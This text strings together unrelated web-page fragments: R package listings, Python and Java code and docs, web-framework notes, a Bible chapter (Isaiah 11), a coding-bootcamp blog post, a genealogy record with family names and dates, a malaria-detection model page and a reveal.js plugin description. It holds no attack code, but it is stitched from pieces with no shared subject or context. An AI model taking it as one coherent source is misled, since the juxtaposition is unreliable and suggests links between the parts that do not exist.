Internal reporting tool that shows most liked articles for a newspaper website.
View projectItem Catalog
Application that simulates an item calatog, with user registration and authentication.
View projectNeighborhood Map
Single page application that shows the map of a neighborhoog with map makers for most popular spots.
View project


A flexible framework for calculating Elo ratings and resulting rankings of any two-team-per-matchup system (chess, sports leagues, 'Go', etc.). This implementation is capable of evaluating a variety of matchups, Elo rating updates, and win probabilities, all based on the basic Elo rating system.
| Version: | 1.0.1 |
| Depends: | R (≥ 3.3.1), stats |
| Imports: | Rcpp, pROC |
| LinkingTo: | Rcpp |
| Suggests: | knitr, testthat, rmarkdown |
| Published: | 2017-12-14 |
| Author: | Ethan Heinzen [aut, cre] |
| Maintainer: | Ethan Heinzen <heinzen.ethan at mayo.edu> |
| BugReports: | https://github.com/eheinzen/elo/issues |
| License: | GPL-2 | GPL-3 [expanded from: GPL (≥ 2)] |
| URL: | https://github.com/eheinzen/elo, https://cran.r-project.org/package=elo |
| NeedsCompilation: | yes |
| Materials: | README NEWS |
| CRAN checks: | elo results |
| Reference manual: | elo.pdf |
| Vignettes: |
The 'elo' Package |
| Package source: | elo_1.0.1.tar.gz |
| Windows binaries: | r-devel: elo_1.0.1.zip, r-release: elo_1.0.1.zip, r-oldrel: elo_1.0.1.zip |
| OS X binaries: | r-release: elo_1.0.1.tgz, r-oldrel: elo_1.0.1.tgz |
| Old sources: | elo archive |
Please use the canonical form https://CRAN.R-project.org/package=elo to link to this page.


from distutils import log import distutils.command.register as orig from setuptools.errors import RemovedCommandError class register(orig.register): """Formerly used to register packages on PyPI.""" def run(self): msg = ( "The register command has been removed, use twine to upload " + "instead (https://pypi.org/p/twine)" ) self.announce("ERROR: " + msg, log.ERROR) raise RemovedCommandError(msg)


Maximum Likelihood Estimation of Stochastic Frontier Production and Cost Functions. Two specifications are available: the error components specification with time-varying efficiencies (Battese and Coelli, 1992) and a model specification in which the firm effects are directly influenced by a number of variables (Battese and Coelli, 1995).
| Version: | 1.1-2 |
| Depends: | R (≥ 2.15.0), micEcon (≥ 0.6-14), lmtest (≥ 0.9-24) |
| Imports: | moments (≥ 0.11), stats (≥ 2.15.0), Formula (≥ 0.2-0), miscTools (≥ 0.6-1), plm (≥ 1.0-1) |
| Suggests: | MCMCpack (≥ 1.0-8), fdrtool (≥ 1.2.6) |
| Published: | 2017-03-17 |
| Author: | Tim Coelli, Arne Henningsen |
| Maintainer: | Arne Henningsen <arne.henningsen at gmail.com> |
| License: | GPL-2 | GPL-3 [expanded from: GPL (≥ 2)] |
| URL: | http://frontier.r-forge.r-project.org/ |
| NeedsCompilation: | yes |
| Citation: | frontier citation info |
| Materials: | NEWS |
| In views: | Econometrics |
| CRAN checks: | frontier results |
| Reference manual: | frontier.pdf |
| Package source: | frontier_1.1-2.tar.gz |
| Windows binaries: | r-devel: frontier_1.1-2.zip, r-release: frontier_1.1-2.zip, r-oldrel: frontier_1.1-2.zip |
| OS X binaries: | r-release: frontier_1.1-2.tgz, r-oldrel: frontier_1.1-2.tgz |
| Old sources: | frontier archive |
Please use the canonical form https://CRAN.R-project.org/package=frontier to link to this page.


About
Support
Connect
Contact Us:
First Name:
Last Name:
Email:
Submit
Feedback
We'd love your input!
Name:
Submit


public class Portfolio
extends java.lang.Object
| Constructor and Description |
|---|
Portfolio(AssetComponent[] aAC)
Portfolio Constructor
|
| Modifier and Type | Method and Description |
|---|---|
AssetComponent[] |
assets()
Retrieve the Array of the Asset Components
|
double |
expectedReturn(AssetUniverseStatisticalProperties apsp)
Retrieve the Expected Returns of the Portfolio
|
java.lang.String[] |
id()
Retrieve the Array of Asset IDs
|
AssetComponent |
maxWeight()
Retrieve the Asset Component with the Maximal Weight
|
MultivariateMeta |
meta()
Retrieve the Multivariate Meta Instance around the Assets
|
AssetComponent |
minWeight()
Retrieve the Asset Component with the Minimal Weight
|
double |
notional()
Retrieve the Notional of the Portfolio
|
static Portfolio |
Standard(java.lang.String[] astrAssetID,
double[] adblAmount)
Construct a Portfolio Instance from the Array of Asset ID's and their Amounts
|
double |
variance(AssetUniverseStatisticalProperties apsp)
Retrieve the Variance of the Portfolio
|
double[] |
weights()
Retrieve the Array of Asset Weights
|
public Portfolio(AssetComponent[] aAC) throws java.lang.Exception
aAC
- Array of the Asset Componentsjava.lang.Exception
- Thrown if the Inputs are Invalidpublic static final Portfolio Standard(java.lang.String[] astrAssetID, double[] adblAmount)
astrAssetID
- Array of Asset IDsadblAmount
- Array of Amountspublic AssetComponent[] assets()
public double notional()
public java.lang.String[] id()
public MultivariateMeta meta()
public double[] weights()
public AssetComponent minWeight()
public AssetComponent maxWeight()
public double expectedReturn(AssetUniverseStatisticalProperties apsp) throws java.lang.Exception
apsp
- The Asset Pool Statistical Properties Instancejava.lang.Exception
- Thrown if the Expected Returns cannot be calculatedpublic double variance(AssetUniverseStatisticalProperties apsp) throws java.lang.Exception
apsp
- The Asset Pool Statistical Properties Instancejava.lang.Exception
- Thrown if the Variance cannot be calculated


Website design requires many diffrent skills in the production, design and maintenance of the website. There is many diffrent areas of the web design including: Web graphic design, interface design, search engine optimization and the user experience design "website prenciples" Hypertext Markup Language (HTML) is the standard markup language for creating web pages and web applications. With Cascading Style Sheets (CSS) and JavaScript it forms a triad of cornerstone technologies for the World Wide Web.[1] Web browsers receive HTML documents from a webserver or from local storage and render them into multimedia web pages. HTML describes the structure of a web page semantically and originally included cues for the appearance of the document.
HTML elements are the building blocks of HTML pages. With HTML constructs, images and other objects, such as interactive forms, may be embedded into the rendered page. It provides a means to create structured documents by denoting structural semantics for text such as headings, paragraphs, lists, links, quotes and other items. HTML elements are delineated by tags, written using angle brackets. Tags such as and <(input /)> introduce content into the page directly. Others such as <(p>... surround and provide information about document text and may include other tags as sub-elements. Browsers do not display the HTML tags, but use them to interpret the content of the page.
HTML can embed programs written in a scripting language such as JavaScript which affect the behavior and content of web pages. Inclusion of CSS defines the look and layout of content. The World Wide Web Consortium (W3C), maintainer of both the HTML and the CSS standards, has encouraged the use of CSS over explicit presentational HTML since 1997


Before You Install Checklist
-
Make Sure Your System Can Run 6.5.22
-
Check For Important Caveats That
Affect Your Installation
-
Confirm That The Applications You
Rely On Are Supported
-
Create A Full System Backup
-
(Optional) Read About The CDs You Will Use
-
(Optional) Check For Key Changes In This
Upgrade
-
(Optional) Request A License Password
-
Register your system with SGI
Do you have questions that remain
unanswered? See the resources
section. |
|


angular-django consists of two packages: a package for Angular and an optional package for Django. To install the Angular package:
Import AngularDjangoModule and HttpClientModule in your app:
emitDecoratorMetadata
in the compilerOptions
section of your tsconfig.json
:
Install the Django package in your project:
Add the app in the INSTALLED_APPS
list in your settings.py
file:


Please alter the frontend.py script containing the GUI code by changing its functional-oriented design into an OOP design.
For your convenience, the files frontend.py, backend.py (in OOP style) and the book.db files are attached in the resources in this article.


Scope is set to todos-page
in module's providers.
This app is configured with scopeStrategy
set to 'shared'
.
Which means each scope is merged into the global lang and accessed by the scope name:
The scope's name will be camel cased e.g: todos-page
👉🏼 todosPage
{{ ex.one }}
You can also configure the name for accessing the scope by passing the scopeMapping
property in the
config
In our case we mapped todos-page
to todos
, so our code will actually be:
{{ ex.two }}
And here is the result:
{{ t.todos.title }}
{{ t.home }}
More Examples:
Directive
Scope is set to `lazy-page` inline
Pipe
{{ 'todos.title' | transloco }}
{{ 'home' | transloco }}
Use read to get translations of a nested property
{{ ex.nested }}
{{ t.title }}
{{ t.desc }}


These are 3 free responsive "login and register forms" templates made with Bootstrap. Download them on AZMIND, customize and use them as you like!
Form 1: fullscreen background, light forms
Form 2: fullscreen background, dark transparent forms
Form 3: light background with subtle pattern, light forms


11
The Righteous Reign of the Branch
1 There shall come forth a shoot from the stump of Jesse,
and a branch from his roots shall bear fruit.
2 And the Spirit of the LORD shall rest upon him,
the Spirit of wisdom and understanding,
the Spirit of counsel and might,
the Spirit of knowledge and the fear of the LORD.
3 And his delight shall be in the fear of the LORD.
He shall not judge by what his eyes see,
or decide disputes by what his ears hear,
4 but with righteousness he shall judge the poor,
and decide with equity for the meek of the earth;
and he shall strike the earth with the rod of his mouth,
and with the breath of his lips he shall kill the wicked.
5 Righteousness shall be the belt of his waist,
and faithfulness the belt of his loins.
6 The wolf shall dwell with the lamb,
and the leopard shall lie down with the young goat,
and the calf and the lion and the fattened calf together;
and a little child shall lead them.
7 The cow and the bear shall graze;
their young shall lie down together;
and the lion shall eat straw like the ox.
8 The nursing child shall play over the hole of the cobra,
and the weaned child shall put his hand on the adder's den.
9 They shall not hurt or destroy
in all my holy mountain;
for the earth shall be full of the knowledge of the LORD
as the waters cover the sea.
10 In that day the root of Jesse, who shall stand as a signal for the peoples—of him shall the nations inquire, and his resting place shall be glorious.
11 In that day the Lord will extend his hand yet a second time to recover the remnant that remains of his people, from Assyria, from Egypt, from Pathros, from Cush, from Elam, from Shinar, from Hamath, and from the coastlands of the sea.
12 He will raise a signal for the nations
and will assemble the banished of Israel,
and gather the dispersed of Judah
from the four corners of the earth.
13 The jealousy of Ephraim shall depart,
and those who harass Judah shall be cut off;
Ephraim shall not be jealous of Judah,
and Judah shall not harass Ephraim.
14 But they shall swoop down on the shoulder of the Philistines in the west,
and together they shall plunder the people of the east.
They shall put out their hand against Edom and Moab,
and the Ammonites shall obey them.
15 And the LORD will utterly destroy
the tongue of the Sea of Egypt,
and will wave his hand over the River
with his scorching breath,
and strike it into seven channels,
and he will lead people across in sandals.
16 And there will be a highway from Assyria
for the remnant that remains of his people,
as there was for Israel
when they came up from the land of Egypt.


Cultural Entry 4 - Feedback
It’s like they say, “pairing is caring.” Wait, that doesn’t sound right… Anyway, if it wasn’t apparent in the Phase 0 Handbook or the DBC website or the DBC blog, its apparent now. Pairing is a big part of our curriculum. I’ve never had a strong opinion one way or another when it came to working by myself or working with others. I find that both have their merits and I can be productive in both settings. With that said, I’ve really enjoyed the pairing sessions I’ve had so far during Phase 0.
One of the great things I’ve found about coding so far is that there often isn’t one correct way to do something. While there might be ways that are more efficient or ways that are fit the design of the program better, there are still numerous ways to get the same answer. Pairing on the challenges has introduced me to other people’s trains of thought and how they logically think through the solution. One of the most beneficial things has been being able to see how other people think. It’s amazing to pair with people and listen to their strategies and then compare them to my own. More often than not, I find myself saying, wow, that’s a really good point, I need to remember that for the next time I’m working by myself.
Solving these challenges isn’t just about getting to the correct answer. It’s also about how you got to that answer and the logical steps you took. While it’s great when you and your pair are both on the same page, it’s also exciting when you aren’t. I often find that I learn the most when I’m paired up with someone who does things completely different from me. They introduce me to new methods and new ways to approach a problem. While it can be a little frustrating at first, it ends up being a very rewarding pairing session.
Giving and receiving feedback is not all that new to me. At my last job, they had a very elaborate review process. It required writing and receiving very thorough feedback forms for any project you worked on. My old employer’s feedback process has a very similar feel to the feedback at DBC. The focus is on meaningful and actionable feedback. A lot of times, feedback can have the opposite affect than it should. It can often discourage people or frustrate people. No one likes hearing about the things they need to improve on. However, when someone writes me a piece of constructive feedback that is specific, actionable and kind, I don’t feel bad about myself or angry.
The feedback I’ve received so far has been very helpful. I’ve learned that sometimes I need to speak up more. I need to be more vocal and have my voice heard. A lot of times when I am pairing, the last thing I want to do is to be rude, talk too much, and take over the conversation. As a result, I come off as shy and maybe not contributing as much as I should. Going forward, I know that I need to make more efforts to speak up. I don’t want my pair to think like I’m not contributing or like they have to do most of the work. Receiving the feedback encourages me to be a better pair and a better programmer.
Overall, I think the combination of pairing with immediate feedback is a great way for us to learn. It’s an amazing opportunity for us to learn about how other people work and also to hear about how other people perceive how we work.


Simpkins, Montague Henry “Monty”
| Birth Name | Simpkins, Montague Henry “Monty” |
| Gender | male |
| Age at Death | 77 years, 11 months, 29 days |
Narrative
SMH - Simpkins, Montague Henry - 30 December, 1970, at his residence, Rose Bay, beloved husband of Henrietta, loved father of Shirley, Marjorie, Laurel, Francis & Terence & fond grandfather of their children. Requiescat in pace.
The FUNERAL of Montague Henry Simpkins will be celebrated at St. Anne's Shrine, North Bondi, to-morrow Tuesday at 9 o'clock for the Catholic Lawn Section at Woronora Cemetery. Montague was an Accountant.
Events
| Event | Date | Place | Description | Sources |
|---|---|---|---|---|
| Birth | 1893 | Golburn NSW #14589 | ||
|
|
||||
| Death | 1970-12-30 | Rose Bay NSW #207 | ||
|
|
||||
| Burial | 1971-01-05 | Catholic Lawn Cemetery, Woronora. | ||
|
|
Parents
| Relation to main person | Name | Birth date | Death date | Relation within this family (if not by birth) |
|---|---|---|---|---|
| Father | Simpkins, Maurice & Ellen | |||
| Simpkins, Montague Henry “Monty” | 1893 | 1970-12-30 |
Families
Family of Simpkins, Montague Henry “Monty” and Combe, Olga Rose Isabel |
|||||||||||||||||
| Married | Wife | Combe, Olga Rose Isabel ( * 1901-06-30 + 1927-08-21 ) | |||||||||||||||
|
|||||||||||||||||
| Children |
| Name | Birth Date | Death Date |
|---|---|---|
| Simpkins, Shirley Monica | 1920-10-30 | 1995-08-21 |
| Simpkins, Marjorie |
| Type | Value | Notes | Sources |
|---|---|---|---|
| _UID | 8458E9A659C2EE4AB8F18C69CE8D31C5ADAE |
Family of Simpkins, Montague Henry “Monty” and Mullarkey, Henrietta P. M.
| Event | Date | Place | Description | Sources |
|---|---|---|---|---|
| Marriage | 1931 | Kogarah NSW #14285 | ||
|
|
| Name | Birth Date | Death Date |
|---|---|---|
| Simpkins, John | 1934 | 1934-08-08 |
| Simpkins, [Living] | ||
| Simpkins, [Living] | ||
| Simpkins, [Living] |
| Type | Value | Notes | Sources |
|---|---|---|---|
| _UID | FC798C4EEAB850479A077BF74498ED80E4DC |
Attributes
| Type | Value | Notes | Sources |
|---|---|---|---|
| _UID | A860EB6CC8473C4D94CC493F86E7FEB60094 |


Epicodus Student
"My greatest pain in life is that I will never be able to see myself perform live."
Hello! I am a student of Epicodus a vocational school focused for web development. I started on July 31st, 2017 on the "Ruby on Rails" track. I'm super excited to be able to attend and I'm looking forward to learn as much as I can!
A few months ago, I was editing sound files for an addon as a request. With my background in audio engineering, I created a few sound effects, and then modified the .lua files -- when it kind of hit me that I wanted to learn more, and maybe even make my own addons!
After finishing that project, I sent the author the files and to my suprise, he pushed them to the master!
I started researching programming, and scraped the surface of python and terminal. I was hooked! I started making basic scripts, and started going out of my way to .touch files in terminal. However, I would often get stuck in a sort of "analysis paralysis" -- I was stuck in a loop of analyzing all the possible next steps, forgetting the most important thing when learning, everyone was a beginner once. I eventually stopped coding for a bit as everything felt just out of reach and a million miles away at the same time. I would spend so much time and energy researching what my next step should be that I never could fully commit to anything. It was terrible!
My solution? Just diving in! That's why I enrolled in Epicodus.


{% extends "base.html" %} {% block content %}
Blood Smear Analysis(BSA) for Parasitized Cell detection on Malaria dataset of NIH using Convolutional Neural Network.
Instruction to use: Click on select Image , Select the Microcoscopic image which needs to be tested, click Predict ,Then It will run the model in background and will give you the result
In the proposed scheme twelve hidden layers are used in the CNN that can be listed as-
Convolution layer 1 : 3 x 3 filters, 3 channels and 32 filters
Convolution layer 2 and 3 : 3x3 filters, 32 channels and 32 filters
Pooling layer : max pooling of window size 2 x 2 and stride 2
Fully connected layer with 1024 hidden units
This CNN model has been trained and validated, using the following dataset: National Library of Medicine
To refer to the code, please see the following repository: https://github.com/Puspita-111/Malaria_Detection
For comments and suggestions mail at<EMAIL_ADDRESS>This model has an accuracy of 98.21%.
Contact Us


Enter your username or email address and we will send you a link to reset your password.
Back to sign in


let why = `Because we always want to copy code
during our presentations, right?`
const http = require("http");
http.createServer(function (request, response) {
response.writeHead(200, {"Content-Type": "text/plain"});
response.end("Hello World\n");
}).listen(8081);
A 'Copy' button is automatically added to any
 code block.
…
Reveal.initialize({
copycode: {
copy: "Copy",
copied: "Copied!",
timeout: 1000
},
plugins: [ …
Override these global default values in the Reveal.js config. The timeout is the time in milliseconds for the "Copied!"-state to revert back to "Copy".
…
Reveal.initialize({
copycode: {
copybg: "orange",
copiedbg: "green",
copycolor: "black",
copiedcolor: "white"
},
plugins: [ …
Override these global default values in the Reveal.js config.

Here is the code

Here is the code

Just edit the provided stylesheet.
…
<link rel="stylesheet" href="assets/js/revealjs/plugin/copycode/copycode.css">
…